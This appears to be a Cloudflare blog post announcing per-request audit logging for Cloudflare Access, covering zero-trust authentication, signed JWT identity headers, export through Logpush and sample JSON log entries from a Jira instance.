Access flips this model by assuming no user should be able to reach anything by default; applying a zero-trust solution to the internal tools your team uses. With Access, when any user requests the hostname of that application, the request hits Cloudflare first. We check to see if the user is authenticated and, if not, send them to your identity provider like Okta, or Azure ActiveDirectory. The user is prompted to login, and Cloudflare then evaluates if they are allowed to reach the requested application. All of this happens at the edge of our network before a request touches your origin, and for the user, it feels like the seamless SSO flow they’ve become accustomed to for SaaS apps.

Log every request to corporate apps, no code changes required

When a user authenticates with your identity provider, we audit that event as a login and make those available in our API. We capture the user’s email, their IP address, the time they authenticated, the method (in this case, a Google SSO flow), and the application they were able to reach.

Log every request to corporate apps, no code changes required

These logs can help you track every user who connected to an internal application, including contractors and partners who might use different identity providers. However, this logging stopped at the authentication. Access did not capture the next steps of a given user.

Auditing every request

Cloudflare secures both external-facing sites and internal resources by triaging each request in our network before we ever send it to your origin. Products like our WAF enforce rules to protect your site from attacks like SQL injection or cross-site scripting. Likewise, Access identifies the principal behind each request by evaluating each connection that passes through the gateway.

Once a member of your team authenticates to reach a resource behind Access, we generate a token for that user that contains their SSO identity. The token is structured as JSON Web Token (JWT). JWT security is an open standard for signing and encrypting sensitive information. These tokens provide a secure and information-dense mechanism that Access can use to verify individual users. Cloudflare signs the JWT using a public and private key pair that we control. We rely on RSA Signature with SHA-256, or RS256, an asymmetric algorithm, to perform that signature. We make the public key available so that you can validate their authenticity, as well.

When a user requests a given URL, Access appends the user identity from that token as a request header, which we then log as the request passes through our network. Your team can collect these logs in your preferred third-party SIEM or storage destination by using the Cloudflare Logpush platform.

Cloudflare Logpush can be used to gather and send specific request headers from the requests made to sites behind Access. Once enabled, you can then configure the destination where Cloudflare should send these logs. When enabled with the Access user identity field, the logs will export to your systems as JSON similar to the logs below.

   "ClientIP": "",
   "ClientRequestHost": "jira.widgetcorp.tech",
   "ClientRequestMethod": "GET",
   "ClientRequestURI": "/secure/Dashboard/jspa",
   "ClientRequestUserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
   "EdgeEndTimestamp": "2019-11-10T09:51:07Z",
   "EdgeResponseBytes": 4600,
   "EdgeResponseStatus": 200,
   "EdgeStartTimestamp": "2019-11-10T09:51:07Z",
   "RayID": "5y1250bcjd621y99"
   "ClientIP": "",
   "ClientRequestHost": "jira.widgetcorp.tech",
   "ClientRequestMethod": "GET",
   "ClientRequestURI": "/browse/EXP-12",
   "ClientRequestUserAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
   "EdgeEndTimestamp": "2019-11-10T09:51:27Z",
   "EdgeResponseBytes": 4570,
   "EdgeResponseStatus": 200,
   "EdgeStartTimestamp": "2019-11-10T09:51:27Z",
   "RayID": "yzrCqUhRd6DVz72a"

In the example above, the user initially visited the splash page for a sample Jira instance. The next request was made to a specific Jira ticket, EXP-12, about one minute after the first request. With per-request logging, Access administrators can review each request a user made once authenticated in the event that an account is compromised or a device stolen.

The logs are consistent across all applications and identity providers. The same standard fields are captured when contractors login with their AzureAD instance to your supply chain tool as when your internal users authenticate with Okta to your Jira. You can also augment the data above with other request details like TLS cipher used and WAF results.

How can this data be used?

The native logging capabilities of hosted applications vary wildly. Some tools provide more robust records of user activity, but others would require server-side code changes or workarounds to add this level of logging. Cloudflare Access can give your team the ability to skip that work and introduce logging in a single gateway that applies to all resources protected behind it.

The audit logs can be exported to third-party SIEM tools or S3 buckets for analysis and anomaly detection. The data can also be used for audit purposes in the event that a corporate device is lost or stolen. Security teams can then use this to recreate user sessions from logs as they investigate.

What’s next?

Any enterprise customer with Logpush enabled can now use this feature at no additional cost. Instructions are available here to configure Logpush and additional documentation here to enable Access per-request logs.